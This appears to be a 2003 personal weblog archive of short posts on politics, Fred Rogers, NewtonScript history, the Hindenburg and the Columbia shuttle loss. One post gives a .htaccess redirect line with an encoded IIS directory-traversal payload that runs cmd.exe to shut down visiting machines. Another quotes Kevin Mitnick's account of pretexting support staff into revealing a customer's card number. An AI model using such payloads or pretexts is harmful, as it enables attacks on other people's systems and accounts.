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Friday, February 28, 2003Ari Fleischer@ 12 pm | PermaLinkFleischer was apparently laughed off stage: Q -- the French press is quoting actually two different diplomats from the United States State Department that -- they're highlighting that the United States is giving some sort of agreements or benefits to Colombia -- and other non-members of the Security Council -- MR. FLEISCHER: I haven't seen the story. And you already have the answer, about what this will be decided on. But think about the implications of what you're saying. You're saying that the leaders of other nations are buyable. And that is not an acceptable proposition. (Laughter.)
Thursday, February 27, 2003Mr Fred Rogers@ 10 am | PermaLinkWhat do you do with the mad that you feel What do you do? Do you punch a bag? It's great to be able to stop I can stop when I want to - Mr. (Fred) Rogers
Tuesday, February 25, 2003For Example In Other Words@ 05 pm | PermaLinkFor the record: "i.e." in a text means "in other words" "e.g." in a text means "for example" Thank you, and good night.
Sunday, February 23, 2003Lucky Hamsters@ 08 pm | PermaLinkTake a look at this! These hampsters were *really* lucky. Lucky Hamsters (335k MPEG movie) I can't believe that college students would do this to these poor hamsters! They barely make it out... alive.
Thursday, February 20, 2003NewtonScript Backgrounder@ 09 am | PermaLinkOo! NewtonScript History as told by the guys who made it! http://wsmith.best.vwh.net/Self-intro.html Nummy! I love reading about background histories of computer projects. In fact I've been reading this piece on WindowsNT history. However, take it with a HUGE grain of salt. Notice how the IBM relationship is totally glossed over, and how there are no mentions of infighting or VMS concepts.
Wednesday, February 19, 2003Hindenburg Facts@ 10 am | PermaLinkFrom a UCLA reseacher on the cause of the Hindenburg disaster. Furthermore, the substance used to coat the cotton skin — a process known as "doping" which makes the fabric taut and more durable — was extremely flammable. A combination of iron oxide, cellulose acetate and aluminum powder, "the total mixture might well serve as a respectable rocket propellant," Van Vorst said. Additionally, the manner in which the skin was attached to the airframe allowed a large electrostatic charge to build up on its surface. When it finally discharged, it did so with disastrous results." I saw this on a PBS show once, but had forgotten the compostion of the doping agent. I needed that in a recent converstation. Hopefully putting this here will help me remember: iron oxide, cellulose acetate and aluminum powder.
Tuesday, February 18, 2003Client Rant@ 12 pm | PermaLinkSome of our clients seem to have access to a steady supply of high quality Crack.
Monday, February 17, 2003Choosing a Domain Name@ 10 am | PermaLinkThings to keep in mind when choosing a domain name:
There should be weights that go with each of these as well. Previously, that same day...Barometric Pressure and Oceans@ 08 am | PermaLinkIf the ocean levels rise, like they might in the future due to global warming, will barometric pressue increase or decrease significantly? After all the atmosphere sits on top of the ocean and the land. If the ocean were to rise, then the bottom of the barometric pressue would also rise, right? But then again, because the rising would occur over the face of a sphere, the atmostphere would be pushed out over a greater surface area, therefore the PSI of the atmosphere would be spread out, lowering the effectie barometric pressure... Hmmmm. Previously, that same day...Idea Publishing@ 08 am | PermaLinkI was reading this at Ben's log and thought, yeah. I've often seen where someone has made a big splash news-wise after publishing something that I thought was common knowledge. I guess publishing ideas works best with a shotgun style method. You publish *all* of your ideas and see if one sticks. I've got a new article that I'm gathering materials for that I might send into alistapart, or evolt or something. We'll see.
Sunday, February 9, 2003Columbia Aftermath@ 01 pm | PermaLinkFor me, the Astronaut dream never really died. It's gotten pushed aside on long occasions, but if I ever really sit down and think, if I could have any job... working in near-zero-g is where I would be. Challenger freaked everyone out, because we'd been invincible in space. The Soviets were the ones who had lost people, but never NASA. I remember the precise moment and location that I was sitting when I heard about it. Mrs. Morgan's Communications IV class, 6th grade, in the left most row, 4 seats from the front. -- Columbia has come at a bad time. We're in the midst of an economy that everyone knows is bad but the government is lying about, a war on terror that's more akin to shadow boxing and accomplishing goals that have nothing to do with Freedom or justice, while the law enforcement is grabbing more and more power to track down criminals and terrorists, but without realizing the amount of freedom they are taking away without any over sight. NASA's public profile has been one of the few things that looked shiny and pretty from the outside, and gave us the hint of looking at something beyond military dominance and big brotherism. The set back that Columbia represents is excruciating for a country that's breaking up and diving into the ground by leaders we don't trust.
Wednesday, February 5, 2003Exploits Via Kevin@ 11 am | PermaLinkFrom Kevin Mitnick's Interview on SlashDot: "On one occasion, I was challenged by a friend of mine to get his Sprint Foncard number. He said he would buy me dinner if I could get it. I couldn't pass up a good meal so I phoned customer service and pretended to be from the IT department. I asked the rep if she was having any difficulties with her computer. She wasn't. I asked her the name of the system she uses to access customer accounts, to verify I was working with the right service center. She gave it to me. Immediately thereafter, I called back and got a new service rep. I told her my computer was down and I was trying to bring up a customer account. She brought it up on her terminal. I asked her for the customer's Foncard number? She started asking me a million questions? What was your name again? Who do you work for? What address are you at? You get the idea. Since I did not exercise any due diligence in my research, I just made up names and locations. It didn't work. She told me she was going to report my call to security! "Since I had her name, I briefed a friend of mine on the situation and asked him to pose as the "security investigator" so he could take a report. He called back customer service and was transferred to the woman. The "security investigator" said he received a report that unauthorized people were calling to obtain proprietary customer information. After getting the details of the "suspicious" call, the investigator asked what information the caller was after. She said the customer's Foncard number. The "investigator" asked for the number. She gave it to him. Whoops! Case closed!"
Monday, February 3, 2003Try This At Home@ 02 pm | PermaLinkI'm going to try this on one or two of my web servers that I can do this with. In my .htaccess file I'll put: RedirectMatch permanent (.*)c+dir http://127.0.0.1/scripts/..%255c..%255cwinnt/syste m32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWind owsEx%201 As seen on Slashdot...
Saturday, February 1, 2003Columbia@ 07 am | PermaLink1440 GMT (9:40 a.m. EST) During a mission status news conference yesterday, Entry Flight Director Leroy Cain was asked about any possible damage to the shuttle's thermal tiles during launch. The tiles are what protect the shuttle during the fiery reentry into Earth's atmosphere. Tracking video of launch shows what appears to be a piece of foam insulation from the shuttle's external tank falling away during ascent and hitting the shuttle's left wing near its leading edge. But Cain said engineers "took a very thorough look at the situation with the tile on the left wing and we have no concerns whatsoever. We haven't changed anything with respect to our trajectory design. It will be a nominal, standard trajectory." 1436 GMT (9:36 a.m. EST) NASA is asking that any persons finding debris should stay clear given the hazardous nature of the materials and alert local authorities. 1435 GMT (9:35 a.m. EST) The last voice communications from the crew involved a tire pressure message. Communications were then garbled and static. Contact with the shuttle was lost at about 9 a.m. EST. 1429 GMT (9:29 a.m. EST) Search and rescue forces are now being deployed, NASA says. 1427 GMT (9:27 a.m. EST) NASA says the shuttle was about 200,000 feet up and traveling at 12,500 miles per hour when contact was lost. From all the reports we're receiving, it is becoming clear that the shuttle broke apart over Texas. 1419 GMT (9:19 a.m. EST) Contingency plans are in effect in Mission Control. 1416 GMT (9:16 a.m. EST) This was the time of Columbia's landing. What we know is contact was lost with the shuttle at about 9 a.m. EST and a sighting by residents in Texas reported a debris cloud following the plasma trail as Columbia streaked overhead. 1415 GMT (9:15 a.m. EST) The flight dynamics officer reports there is no tracking of the shuttle. 1414 GMT (9:14 a.m. EST) Entry Flight Director Leroy Cain has instructed flight controllers to get out their contingency plan. 1410 GMT (9:10 a.m. EST) NASA is still seeking tracking data. Communications with the shuttle were lost about 10 minutes ago. 1409 GMT (9:09 a.m. EST) Still no contact with Columbia or crew. 1406 GMT (9:06 a.m. EST) Mission Control waiting for C-band tracking data and UHF communications with Columbia through MILA. Houston lost communications with the shuttle a few minutes ago over Texas. We have gotten reports of debris in the sky. 1405 GMT (9:05 a.m. EST) THERE HAS BEEN NO COMMUNICATIONS WITH THE SHUTTLE. Mission Controllers waiting for tracking data from the Merritt Island station. 1404 GMT (9:04 a.m. EST) We're getting reports from Texas of debris behind the shuttle's plasma trail during reentery. 1401 GMT (9:01 a.m. EST) Columbia is out of communications with flight controllers in Houston. Now 15 minutes from landing time. 1359 GMT (8:59 a.m. EST) At an altitude of 40 miles, shuttle Columbia has entered Texas. 1357 GMT (8:57 a.m. EST) The shuttle is now 43 miles over New Mexico. Columbia is now reversing its bank to the left to further reduce speed. 1356 GMT (8:56 a.m. EST) Columbia's speed is now about 15,000 miles per hour as it streaks over northern Arizona. 1355 GMT (8:55 a.m. EST) The shuttle is now soaring over the southern portion of Nevada. Columbia set for touchdown at Kennedy Space Center in Florida in about 20 minutes. SATURDAY, FEBRUARY 1, 2003 Columbia is now crossing the California coastline. SATURDAY, FEBRUARY 1, 2003 Altitude 47 miles. Speed 16,400 miles per hour. 1349 GMT (8:49 a.m. EST) Columbia is beginning the first in a series of banks to scrub off speed as it plunges into the atmosphere. These turns basically remove the energy Columbia built up during launch. This first bank is to the right. 1346 GMT (8:46 a.m. EST) Thirty minutes to touchdown. Altitude 64 miles. Columbia will be making landfall over California shortly, flying north of San Francisco. The shuttle's course will take it over Nevada, Arizona, New Mexico, Texas and then along the Gulf Coast and into the Florida Panhandle. 1344 GMT (8:44 a.m. EST) ENTRY INTERFACE. The protective tiles on the belly of Columbia are now feeling heat beginning to build as the orbiter enters the top fringes of the atmosphere -- a period known as Entry Interface. The shuttle is flying with its nose elevated 40 degrees, wings level, at an altitude of 400,000 feet, passing over the southern Pacific Ocean, about 4,400 nautical miles from the landing site, at a velocity of Mach 25. Touchdown is set for 9:16 a.m. EST at Kennedy Space Center in Florida.
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